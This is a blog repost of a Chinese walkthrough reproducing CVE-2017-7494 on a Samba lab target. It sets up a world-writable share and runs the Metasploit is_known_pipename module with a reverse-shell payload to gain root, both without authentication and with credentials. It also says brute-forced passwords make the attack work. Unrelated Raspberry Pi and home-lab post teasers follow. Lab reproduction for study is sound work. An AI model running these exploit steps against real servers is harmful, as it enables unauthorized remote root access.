Samba CVE-2017-7494 reproduce

震惊!SMB惊现远程代码执行漏洞,有账号认证的也能被攻击!(CVE-2017-7494)附复现过程

2017-05-25 guanguan,Aries RCDbg

https://mp.weixin.qq.com/s/qWFe3yBg6NUU_kyVRiAzeA

 

网络上流传的EXP的利用方法未指出如何攻击有帐号密码认证的SAMBA,但其实……

如果通过爆破得到了密码,依然能够成功攻击。

 

0x01 概述

 

Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,Samba服务允许恶意的用户上传类库到可读可写的共享目录进而导致服务器远程代码执行。 

 

漏洞编号:CVE-2017-7494 

漏洞等级:严重 

影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14

 

漏洞利用条件

  1. 服务端共享目录的访问权限

  2. 服务器端共享目录的写入权限

  3. 服务端共享目录的绝对路径已知或者可被暴力猜解

 

0x02 漏洞复现

 

1. 靶机环境搭建

 

靶机环境系统使用 Kali 2.0:

 

 

Samba版本:4.1.17

 

 

配置samba的共享目录:

 

#创建一个共享目录

root@kaili:~# mkdir /home/share

#设置权限

root@kali:~# chmod 777 /home/share

 

修改samba配置文件:

 

#编辑配置文件

root@kali:~# gedit /etc/samba/smb.conf

 

在配置文件末尾添加一个新的配置:

 

[myshare]

comment=test

browseable=yes #可读

writeable=yes #可写

path=/home/share  #设置目录(上一步创建的共享目录)

guest ok=yes #允许匿名访问

 

启动服务:

 

root@kali:~# service smbd start

 

2. Metasploit 利用

 

a. 更新msf利用模块:

 

该漏洞的利用poc已经在metasploit的github上更新。

下载地址:

https://github.com/hdm/metasploit-framework/blob/module/CVE-2017-7494/modules/exploits/linux/samba/is_known_pipename.rb

 

将模块更新到kali下metasploit的目录中:

 

/usr/share/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb

 

b. 设置模块:

 

msf > use exploit/linux/samba/is_known_pipename

msf exploit(is_known_pipename) > show options

 

此处需要设置的参数有:

#设置目标IP地址 

msf exploit(is_known_pipename) > set rhost 192.168.10.62 

rhost => 192.168.10.62  

 

#设置smb目录,这里靶机是/home/share

msf exploit(is_known_pipename) > set smb_share_base /home/share 

smb_share_base => /home/share

 

#设置系统版本

msf exploit(is_known_pipename) > set target 0

target => 0

 

#设置payload

msf exploit(is_known_pipename) > set payload generic/shell_reverse_tcp

payload => generic/shell_reverse_tcp

 

 

c. 执行:

 

msf exploit(is_known_pipename) > exploit

 

 

至此攻击就可以完成了,我们直接拿到了root权限的shell,但是通常管理员为了安全会对smb服务设置账号密码,如果在有账号密码的环境下怎么办呢?

 

3. 需要Samba认证的攻击

 

a. 重新修改靶机配置如下:

 

root@kali:~# gedit /etc/samba/smb.conf

 

设置共享目录不允许guest访问:

 

[myshare]

comment=test

browseable=yes

writeable=yes

path=/home/share

guest ok=yes

#删除guest ok=yes 不允许guest用户访问

 

在 [global] 设置选项中添加配置:

 

security = user

 

设置smb用户:

 

#添加用户

root@yunxu:/# useradd smbuser

#设置密码

root@yunxu:/# smbpasswd -a smbuser

New SMB password: 

Retype new SMB password:

 

#重启服务

root@yunxu:/# service smbd restart

 

 

b. 在msf中设置Samba服务认证:

 

msf exploit(is_known_pipename) > set SMBUSER smbuser 

SMBUser => smbuser 

msf exploit(is_known_pipename) > set SMBPASS 123123 

SMBPass => 123123

 

 

c. 执行:

 

msf exploit(is_known_pipename) > exploit

 

 

 

0x03 漏洞相关链接:

https://www.samba.org/samba/security/CVE-2017-7494.html

http://www.freebuf.com/vuls/135624.html

Read more

How to migrate Raspberry Pi 5 OS from micro SD to NVME m.2 SSD

首先我買了Raspberry Pi CM5後來買了Raspberry Pi CM5 I/O board來當個人電腦使用,系統是安裝在256GB SD卡上運行的很好。用久了在開啟較肥的程式像Web Browser或LiberOffice會有慢半拍的反應,而有了升級NVME m.2 SSD念頭。 因為Raspberry Pi 5支援的最快PCIe gen3 x 4就不去考慮快的Gen4 or Gen5 m.2 SSD。找了ADATA出的 LEGEND 710入門級的產品,會利用HMB(Host Memory Buffer)來加速I/O速度,因為是Raspberry Pi OS kernel會認不得而無法正常使用 事先在SD卡的/boot/firmware/cmdline.txt 加入 kernel command line參數如下,然後重開機m.

By Phillips Hsieh

How to document Home Lab and Network

運維機房和跨域的網路,會遇到各式需求與問題,用對工具才能分析問題,個人覺得最重要的是使用能處理問題的工具。 推薦目前想學和正在使用的平台與軟體,協助將公司/家用機房文件化 佈告欄任務管理 Focalboard 白板可管理任務指派 網路架構文件編寫 netbox 精細管理網路設備與連接線路 IP 資源管理 phpipam 專注網路IP分配 邏輯塊文件編寫 draw.io 視覺化概念圖 機房設備管理 ITDB 管理設備生命週期與使用者

By Phillips Hsieh

如何在Raspberry Pi4上安裝Proxmox for ARM64

第一步 準備好Raspberry Pi 4 / CM4 4GB RAM,這裡要留意CM4如果是買有內建eMMC storage會限制不能使用SD卡開機而限制本地空間容量,如果沒有NAS外接空間或使用USB開機的話,建議買CM4 Lite插上大容量SD卡 第二步 去Armbian官網下載最小化Debian bookworm image https://www.armbian.com/rpi4b/ Armbian 25.2.2 Bookworm Minimal / IOT 然後寫入SD/USB開機碟,寫入方法參考官方文件 https://github.com/raspberrypi/usbboot/blob/master/Readme.md Note: 官方提供的預先設定系統方法,可以在Armbian初次啟動自動化完成系統設定。連結在此 https://docs.armbian.com/User-Guide_Autoconfig/

By Phillips Hsieh

世界越快心越慢

在晚飯後的休息時間,我特別享受在客廳瀏灠youtube上各樣各式創作者的影音作品。很大不同於傳統媒體,節目多是針對大多數族群喜好挑選的,在youtube上我會依心情看無腦的動畫、一些旅拍記錄、新聞時事談論。 尤其在看了大量的Youtube的分享後,我真的感受到會限制我的是我的無知,特別是那些我想都沒想過的實際應用,在學習後大大幫助到我的生活和工作層面。 休息在家時,我喜歡想一些沒做過的菜,動手去設計生活和工作上的解決方案,自己是真的很難閒著沒事做。 如創作文章,陪養新的習慣都能感覺到成長的喜悅,是不同於吃喝玩樂的快樂的。 創作不去限制固定的形式,文字是創作、影像聲音也是創作,記錄生活也是創作,我想留下的就是創造—》實現—》回憶,這樣子的循環過程,在留下的足跡面看到自己一路上的成長、失敗、絕望、重新再來。 雖然大部份的時候去做這些創作也不明白有什麼特別的意義,但不去做也不會留下什麼,所以呀不如反事都去試試看,也許能有不一樣的水花也許有意想不到的結果,投資自己永遠不會是失敗的決定,不是嗎?先問問自己再開始計畫下一步,未來沒人說得準。 像最近看youtube仍大一群人在為DOS開

By Phillips Hsieh